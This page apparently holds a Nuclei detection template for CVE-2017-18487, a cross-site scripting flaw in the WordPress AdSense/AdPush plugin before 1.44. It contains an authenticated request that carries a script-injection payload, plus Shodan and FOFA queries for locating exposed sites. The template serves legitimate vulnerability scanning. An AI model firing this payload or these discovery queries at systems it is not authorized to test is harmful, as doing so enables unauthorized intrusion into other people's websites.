AdPush < 1.44 - Cross-Site Scripting

ID: CVE-2017-18487

Severity: medium

Author: luisfelipe146

Tags: cve,cve2017,wordpress,wpscan,wp-plugin,xss,bws-adpush,authenticated,google_adsense_project

Description

The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.

YAML Source

id: CVE-2017-18487

info:
  name: AdPush < 1.44 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18487
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18487
    - https://wordpress.org/plugins/adsense-plugin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18487
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.36245
    cpe: cpe:2.3:a:google_adsense_project:google_adsense:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: google_adsense_project
    product: google_adsense
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/adsense-plugin/
    fofa-query: body=/wp-content/plugins/adsense-plugin/
    publicwww-query: "/wp-content/plugins/adsense-plugin/"
  tags: cve,cve2017,wordpress,wpscan,wp-plugin,xss,bws-adpush,authenticated,google_adsense_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Google AdSense")'
        condition: and
# digest: 4a0a00473045022100f03df0cd7a875fffd7011b07ab05df9f76fe1b859adeb75c6a19f143021e9c8b0220650a431cad596e0d1a3dc691073952552da01ad617b9da7a46751385db7a28aa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18487.yaml"

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